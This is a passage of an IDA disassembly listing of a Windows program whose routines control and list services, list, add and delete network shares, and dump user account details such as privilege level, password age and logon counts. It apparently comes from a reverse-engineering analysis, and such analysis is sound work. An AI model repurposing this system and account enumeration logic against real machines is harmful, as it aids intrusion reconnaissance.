; Attributes: bp-based frame
sub_40D793 proc near ; CODE XREF: sub_40D719+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call dword_43AD8C
mov edi, eax
cmp edi, ebx
jnz short loc_40D7BA
nop
call near ptr 2660B07h
mov ebx, eax
jmp short loc_40D82F
; ---------------------------------------------------------------------------
loc_40D7BA: ; CODE XREF: sub_40D793+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call dword_43AC80
mov esi, eax
cmp esi, ebx
jnz short loc_40D7DA
nop
call near ptr 2660B07h
mov ebx, eax
jmp short loc_40D827
; ---------------------------------------------------------------------------
loc_40D7DA: ; CODE XREF: sub_40D793+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_40D80D
cmp eax, 3
jz short loc_40D7FE
jle short loc_40D820
cmp eax, 6
jg short loc_40D820
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call dword_43ACE8
jmp short loc_40D814
; ---------------------------------------------------------------------------
loc_40D7FE: ; CODE XREF: sub_40D793+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call dword_43AC88
jmp short loc_40D814
; ---------------------------------------------------------------------------
loc_40D80D: ; CODE XREF: sub_40D793+4Dj
push esi
call dword_43ACEC
loc_40D814: ; CODE XREF: sub_40D793+69j
; sub_40D793+78j
test eax, eax
jnz short loc_40D820
call near ptr 2660B07h
nop
mov ebx, eax
loc_40D820: ; CODE XREF: sub_40D793+54j
; sub_40D793+59j ...
push esi
call dword_43AC9C
loc_40D827: ; CODE XREF: sub_40D793+45j
push edi
call dword_43AC9C
pop esi
loc_40D82F: ; CODE XREF: sub_40D793+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_40D793 endp
; =============== S U B R O U T I N E =======================================
sub_40D835 proc near ; CODE XREF: sub_40D719+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_40D8EA
jz loc_40D8E3
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_40D8AD
jz short loc_40D8A3
mov ecx, eax
sub ecx, 3
jz short loc_40D899
dec ecx
dec ecx
jz short loc_40D88F
dec ecx
jz short loc_40D885
sub ecx, 51h
jz short loc_40D87B
sub ecx, 24h
jnz loc_40D960 ; default
; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_40D952
; ---------------------------------------------------------------------------
loc_40D87B: ; CODE XREF: sub_40D835+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_40D952
; ---------------------------------------------------------------------------
loc_40D885: ; CODE XREF: sub_40D835+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_40D952
; ---------------------------------------------------------------------------
loc_40D88F: ; CODE XREF: sub_40D835+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_40D952
; ---------------------------------------------------------------------------
loc_40D899: ; CODE XREF: sub_40D835+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_40D952
; ---------------------------------------------------------------------------
loc_40D8A3: ; CODE XREF: sub_40D835+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_40D952
; ---------------------------------------------------------------------------
loc_40D8AD: ; CODE XREF: sub_40D835+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_40D8DC
dec ecx
jz short loc_40D8D5
dec ecx
jz short loc_40D8CE
dec ecx
jnz loc_40D960 ; default
; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_40D952
; ---------------------------------------------------------------------------
loc_40D8CE: ; CODE XREF: sub_40D835+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_40D952
; ---------------------------------------------------------------------------
loc_40D8D5: ; CODE XREF: sub_40D835+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_40D952
; ---------------------------------------------------------------------------
loc_40D8DC: ; CODE XREF: sub_40D835+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_40D952
; ---------------------------------------------------------------------------
loc_40D8E3: ; CODE XREF: sub_40D835+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_40D952
; ---------------------------------------------------------------------------
loc_40D8EA: ; CODE XREF: sub_40D835+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_40D960 ; default
; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
jz short loc_40D94D
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_40D960 ; default
; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
movzx ecx, byte_40D9A1[ecx]
jmp off_40D979[ecx*4] ; switch jump
loc_40D90E: ; DATA XREF: ___:off_40D979o
push offset aTheSpecifiedDa ; jumptable 0040D907 case 7
jmp short loc_40D952
; ---------------------------------------------------------------------------
loc_40D915: ; CODE XREF: sub_40D835+D2j
; DATA XREF: ___:off_40D979o
push offset aTheServiceDepe ; jumptable 0040D907 case 17
jmp short loc_40D952
; ---------------------------------------------------------------------------
loc_40D91C: ; CODE XREF: sub_40D835+D2j
; DATA XREF: ___:off_40D979o
push offset aTheServiceDe_0 ; jumptable 0040D907 case 10
jmp short loc_40D952
; ---------------------------------------------------------------------------
loc_40D923: ; CODE XREF: sub_40D835+D2j
; DATA XREF: ___:off_40D979o
push offset aTheServiceHasB ; jumptable 0040D907 case 0
jmp short loc_40D952
; ---------------------------------------------------------------------------
loc_40D92A: ; CODE XREF: sub_40D835+D2j
; DATA XREF: ___:off_40D979o
push offset aTheSpecified_0 ; jumptable 0040D907 case 2
jmp short loc_40D952
; ---------------------------------------------------------------------------
loc_40D931: ; CODE XREF: sub_40D835+D2j
; DATA XREF: ___:off_40D979o
push offset aTheServiceCoul ; jumptable 0040D907 case 11
jmp short loc_40D952
; ---------------------------------------------------------------------------
loc_40D938: ; CODE XREF: sub_40D835+D2j
; DATA XREF: ___:off_40D979o
push offset aTheServiceHa_0 ; jumptable 0040D907 case 14
jmp short loc_40D952
; ---------------------------------------------------------------------------
loc_40D93F: ; CODE XREF: sub_40D835+D2j
; DATA XREF: ___:off_40D979o
push offset aTheRequested_1 ; jumptable 0040D907 case 3
jmp short loc_40D952
; ---------------------------------------------------------------------------
loc_40D946: ; CODE XREF: sub_40D835+D2j
; DATA XREF: ___:off_40D979o
push offset aTheServiceHasN ; jumptable 0040D907 case 4
jmp short loc_40D952
; ---------------------------------------------------------------------------
loc_40D94D: ; CODE XREF: sub_40D835+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_40D952: ; CODE XREF: sub_40D835+41j
; sub_40D835+4Bj ...
push offset dword_43F1A8
call sub_4172B0
pop ecx
pop ecx
jmp short loc_40D973
; ---------------------------------------------------------------------------
loc_40D960: ; CODE XREF: sub_40D835+36j
; sub_40D835+89j ...
push eax ; default
; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>"
push offset dword_43F1A8
call sub_4172B0
add esp, 0Ch
loc_40D973: ; CODE XREF: sub_40D835+129j
mov eax, offset dword_43F1A8
retn
sub_40D835 endp
; ---------------------------------------------------------------------------
off_40D979 dd offset loc_40D923 ; DATA XREF: sub_40D835+D2r
dd offset loc_40D92A ; jump table for switch statement
dd offset loc_40D93F
dd offset loc_40D946
dd offset loc_40D90E
dd offset loc_40D91C
dd offset loc_40D931
dd offset loc_40D938
dd offset loc_40D915
dd offset loc_40D960
byte_40D9A1 db 0, 9, 1, 2 ; DATA XREF: sub_40D835+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D9B3 proc near ; CODE XREF: sub_40EE72+2094p
var_38C = byte ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call dword_43AD8C
push ebx
mov [ebp+var_C], eax
push [ebp+arg_8]
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 14h
loc_40D9EB: ; CODE XREF: sub_40D9B3+120j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call dword_43AD58
test eax, eax
jnz short loc_40DA25
nop
call near ptr 2660B07h
cmp eax, 0EAh
jnz loc_40DAD9
loc_40DA25: ; CODE XREF: sub_40D9B3+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_40DAD0
lea esi, [ebp+var_188]
loc_40DA36: ; CODE XREF: sub_40D9B3+117j
mov eax, [esi+8]
dec eax
jz short loc_40DA7F
dec eax
jz short loc_40DA78
dec eax
jz short loc_40DA71
dec eax
jz short loc_40DA6A
dec eax
jz short loc_40DA63
dec eax
jz short loc_40DA5C
dec eax
jz short loc_40DA55
push offset aUnknown_0 ; " Unknown"
jmp short loc_40DA84
; ---------------------------------------------------------------------------
loc_40DA55: ; CODE XREF: sub_40D9B3+99j
push offset aPaused_0 ; " Paused"
jmp short loc_40DA84
; ---------------------------------------------------------------------------
loc_40DA5C: ; CODE XREF: sub_40D9B3+96j
push offset aPausing ; " Pausing"
jmp short loc_40DA84
; ---------------------------------------------------------------------------
loc_40DA63: ; CODE XREF: sub_40D9B3+93j
push offset aContinuing ; " Continuing"
jmp short loc_40DA84
; ---------------------------------------------------------------------------
loc_40DA6A: ; CODE XREF: sub_40D9B3+90j
push offset aRunning ; " Running"
jmp short loc_40DA84
; ---------------------------------------------------------------------------
loc_40DA71: ; CODE XREF: sub_40D9B3+8Dj
push offset aStoping ; " Stoping"
jmp short loc_40DA84
; ---------------------------------------------------------------------------
loc_40DA78: ; CODE XREF: sub_40D9B3+8Aj
push offset aStarting ; " Starting"
jmp short loc_40DA84
; ---------------------------------------------------------------------------
loc_40DA7F: ; CODE XREF: sub_40D9B3+87j
push offset aStopped ; " Stopped"
loc_40DA84: ; CODE XREF: sub_40D9B3+A0j
; sub_40D9B3+A7j ...
lea eax, [ebp+var_20]
push eax
call sub_4172B0
pop ecx
lea eax, [ebp+var_20]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS ; "%s: %s (%s)"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_38C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_40DA36
loc_40DAD0: ; CODE XREF: sub_40D9B3+77j
cmp [ebp+var_8], ebx
jnz loc_40D9EB
loc_40DAD9: ; CODE XREF: sub_40D9B3+6Cj
push [ebp+var_C]
call dword_43AC9C
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_40D9B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DAF0 proc near ; CODE XREF: sub_40EE72:loc_410FB4p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz loc_40DB8A
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_40DB19
dec eax
jnz short loc_40DB6A
push edi
push 0
call sub_40DCC3
pop ecx
pop ecx
jmp short loc_40DB66
; ---------------------------------------------------------------------------
loc_40DB19: ; CODE XREF: sub_40DAF0+18j
cmp [ebp+arg_8], 0
jnz short loc_40DB58
push 24h
push edi
call sub_418F50
pop ecx
test eax, eax
pop ecx
jnz short loc_40DB58
push 57h
pop eax
loc_40DB30: ; CODE XREF: sub_40DAF0+78j
push eax
call sub_40E4B7
pop ecx
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_43F464
push off_42E7A0[eax*4]
push offset dword_42EE98
push esi
call sub_4172B0
add esp, 14h
jmp short loc_40DBAA
; ---------------------------------------------------------------------------
loc_40DB58: ; CODE XREF: sub_40DAF0+2Dj
; sub_40DAF0+3Bj
push [ebp+arg_8]
push edi
push 0
call sub_40DC17
add esp, 0Ch
loc_40DB66: ; CODE XREF: sub_40DAF0+27j
test eax, eax
jnz short loc_40DB30
loc_40DB6A: ; CODE XREF: sub_40DAF0+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_43F464
push off_42E7A4[eax*4]
push offset dword_42EE6C
push esi
call sub_4172B0
add esp, 10h
jmp short loc_40DBAA
; ---------------------------------------------------------------------------
loc_40DB8A: ; CODE XREF: sub_40DAF0+Aj
mov eax, [ebp+arg_0]
mov esi, offset dword_43F464
lea eax, [eax+eax*2]
push off_42E7A0[eax*4]
push offset dword_42EE38
push esi
call sub_4172B0
add esp, 0Ch
loc_40DBAA: ; CODE XREF: sub_40DAF0+66j
; sub_40DAF0+98j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_40DAF0 endp
; =============== S U B R O U T I N E =======================================
sub_40DBB0 proc near ; CODE XREF: sub_415F88+245p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_40DBBD
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_40DBBD: ; CODE XREF: sub_40DBB0+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, dword_424150
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi
test byte_43F664, 1
mov ebp, eax
jnz short loc_40DBFA
or byte_43F664, 1
lea eax, [ebp+1]
push eax
call sub_4185F5
pop ecx
mov dword_43F404, eax
loc_40DBFA: ; CODE XREF: sub_40DBB0+32j
push esi
push esi
push ebp
push dword_43F404
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi
mov eax, dword_43F404
pop edi
pop ebp
pop ebx
pop esi
retn
sub_40DBB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DC17 proc near ; CODE XREF: sub_40DAF0+6Ep
; sub_4162AC+18Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_40DC82
push [ebp+arg_4]
mov edi, eax
call sub_40DC82
push 24h
mov [ebp+var_20], eax
push [ebp+arg_4]
call sub_418F50
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_40DC82
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call dword_43AC98
pop edi
leave
retn
sub_40DC17 endp
; =============== S U B R O U T I N E =======================================
sub_40DC82 proc near ; CODE XREF: sub_40DC17+Ap
; sub_40DC17+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_40DC8F
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40DC8F: ; CODE XREF: sub_40DC82+9j
push ebx
push esi
mov esi, dword_424070
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_4185F5
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_40DC82 endp
; =============== S U B R O U T I N E =======================================
sub_40DCC3 proc near ; CODE XREF: sub_40DAF0+20p
; sub_415F88+1BBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_40DC82
push [esp+8+arg_4]
mov esi, eax
call sub_40DC82
pop ecx
pop ecx
push 0
push eax
push esi
call dword_43AC70
pop esi
retn
sub_40DCC3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DCE6 proc near ; CODE XREF: sub_40EE72+2169p
var_210 = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_40DC82
xor esi, esi
mov [ebp+var_C], eax
push esi
mov [ebp+arg_C], esi
push [ebp+arg_8]
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 18h
loc_40DD1F: ; CODE XREF: sub_40DCE6+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call dword_43ACE4
mov ebx, eax
cmp ebx, esi
jz short loc_40DD82
cmp ebx, 0EAh
jz short loc_40DD82
push ebx
push ebx
call sub_40E4B7
pop ecx
push eax
lea eax, [ebp+var_210]
push offset dword_42EEF4
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 24h
jmp short loc_40DDEF
; ---------------------------------------------------------------------------
loc_40DD82: ; CODE XREF: sub_40DCE6+5Dj
; sub_40DCE6+65j
push 1
pop edi
cmp [ebp+arg_C], edi
jb short loc_40DDE6
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_40DD90: ; CODE XREF: sub_40DCE6+FCj
push dword ptr [esi+10h]
call dword_43AC8C
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_40DDA7
mov eax, offset aNo ; "No"
loc_40DDA7: ; CODE XREF: sub_40DCE6+BAj
push eax
lea eax, [ebp+var_210]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_40DD90
xor esi, esi
loc_40DDE6: ; CODE XREF: sub_40DCE6+A2j
push [ebp+var_4]
call dword_43AE28
loc_40DDEF: ; CODE XREF: sub_40DCE6+9Aj
cmp ebx, 0EAh
jz loc_40DD1F
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_40DCE6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DE07 proc near ; CODE XREF: sub_40EE72:loc_411047p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_40DEAC
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_40DE49
dec eax
jz short loc_40DE3E
dec eax
jnz short loc_40DE64
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push ebx
push edi
call sub_40DF4E
add esp, 14h
jmp short loc_40DE60
; ---------------------------------------------------------------------------
loc_40DE3E: ; CODE XREF: sub_40DE07+1Dj
push ebx
push edi
call sub_40DF2D
pop ecx
pop ecx
jmp short loc_40DE60
; ---------------------------------------------------------------------------
loc_40DE49: ; CODE XREF: sub_40DE07+1Aj
cmp [ebp+arg_8], edi
jz short loc_40DE5D
push [ebp+arg_8]
push ebx
push edi
call sub_40DED3
add esp, 0Ch
jmp short loc_40DE60
; ---------------------------------------------------------------------------
loc_40DE5D: ; CODE XREF: sub_40DE07+45j
push 57h
pop eax
loc_40DE60: ; CODE XREF: sub_40DE07+35j
; sub_40DE07+40j ...
cmp eax, edi
jnz short loc_40DE84
loc_40DE64: ; CODE XREF: sub_40DE07+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_43F668
push off_42E7A4[eax*4]
push offset dword_42EFD8
push esi
call sub_4172B0
add esp, 10h
jmp short loc_40DECC
; ---------------------------------------------------------------------------
loc_40DE84: ; CODE XREF: sub_40DE07+5Bj
push eax
call sub_40E4B7
pop ecx
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_43F668
push off_42E7A0[eax*4]
push offset dword_42EF9C
push esi
call sub_4172B0
add esp, 14h
jmp short loc_40DECC
; ---------------------------------------------------------------------------
loc_40DEAC: ; CODE XREF: sub_40DE07+Dj
mov eax, [ebp+arg_0]
mov esi, offset dword_43F668
lea eax, [eax+eax*2]
push off_42E7A0[eax*4]
push offset dword_42EF64
push esi
call sub_4172B0
add esp, 0Ch
loc_40DECC: ; CODE XREF: sub_40DE07+7Bj
; sub_40DE07+A3j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_40DE07 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DED3 proc near ; CODE XREF: sub_40DE07+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_40DC82
push [ebp+arg_4]
mov edi, eax
call sub_40DC82
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_40DC82
add esp, 0Ch
mov [ebp+var_20], eax
and [ebp+var_14], 0
and [ebp+var_10], 0
push 1
and [ebp+var_8], 0
pop eax
lea ecx, [ebp+var_4]
push ecx
lea ecx, [ebp+var_24]
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call dword_43AC7C
pop edi
leave
retn
sub_40DED3 endp
; =============== S U B R O U T I N E =======================================
sub_40DF2D proc near ; CODE XREF: sub_40DE07+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_40DC82
push [esp+8+arg_4]
mov esi, eax
call sub_40DC82
pop ecx
pop ecx
push eax
push esi
call dword_43AC6C
pop esi
retn
sub_40DF2D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DF4E proc near ; CODE XREF: sub_40DE07+2Dp
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_40DC82
push [ebp+arg_4]
mov esi, eax
call sub_40DC82
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call dword_43ADF0
test eax, eax
mov [ebp+arg_0], eax
jnz loc_40E2F6
mov eax, [ebp+var_4]
test eax, eax
jz loc_40E331
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+var_204]
push offset aAccountS ; "Account: %S"
push eax
call sub_4172B0
mov esi, [ebp+arg_10]
mov edi, [ebp+arg_C]
mov ebx, [ebp+arg_8]
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D679
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+0Ch]
lea eax, [ebp+var_204]
push offset aFullNameS ; "Full Name: %S"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D679
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+8]
lea eax, [ebp+var_204]
push offset aUserCommentS ; "User Comment: %S"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D679
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+4]
lea eax, [ebp+var_204]
push offset aCommentS ; "Comment: %S"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D679
mov eax, [ebp+var_4]
add esp, 20h
mov eax, [eax+10h]
sub eax, 0
jz short loc_40E06D
dec eax
jz short loc_40E066
dec eax
jz short loc_40E05F
mov eax, offset aUnknown ; "Unknown"
jmp short loc_40E072
; ---------------------------------------------------------------------------
loc_40E05F: ; CODE XREF: sub_40DF4E+108j
mov eax, offset aAdministrator ; "Administrator"
jmp short loc_40E072
; ---------------------------------------------------------------------------
loc_40E066: ; CODE XREF: sub_40DF4E+105j
mov eax, offset aUser_0 ; "User"
jmp short loc_40E072
; ---------------------------------------------------------------------------
loc_40E06D: ; CODE XREF: sub_40DF4E+102j
mov eax, offset aGuest ; "Guest"
loc_40E072: ; CODE XREF: sub_40DF4E+10Fj
; sub_40DF4E+116j ...
push eax
lea eax, [ebp+var_204]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D679
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+14h]
lea eax, [ebp+var_204]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D679
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+1Ch]
lea eax, [ebp+var_204]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D679
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+20h]
lea eax, [ebp+var_204]
push offset aParametersS ; "Parameters: %S"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D679
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+18h]
lea eax, [ebp+var_204]
push offset aPasswordAgeD ; "Password Age: %d"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D679
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+2Ch]
lea eax, [ebp+var_204]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D679
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+30h]
lea eax, [ebp+var_204]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D679
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+24h]
lea eax, [ebp+var_204]
push offset aLastLogonD ; "Last Logon: %d"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D679
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+28h]
lea eax, [ebp+var_204]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D679
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+34h]
lea eax, [ebp+var_204]
push offset aLogonServerS ; "Logon Server: %S"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D679
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+3Ch]
lea eax, [ebp+var_204]
push offset aWorkstationsS ; "Workstations: %S"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D679
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+38h]
lea eax, [ebp+var_204]
push offset aCountryCodeD ; "Country Code: %d"
push eax
call sub_4172B0
push 1
push esi
lea eax, [ebp+var_204]
push eax
push edi
push ebx
call sub_40D679
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+4Ch]
lea eax, [ebp+var_204]
push offset aUserSLanguageD ; "User's Language: %d"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_204]
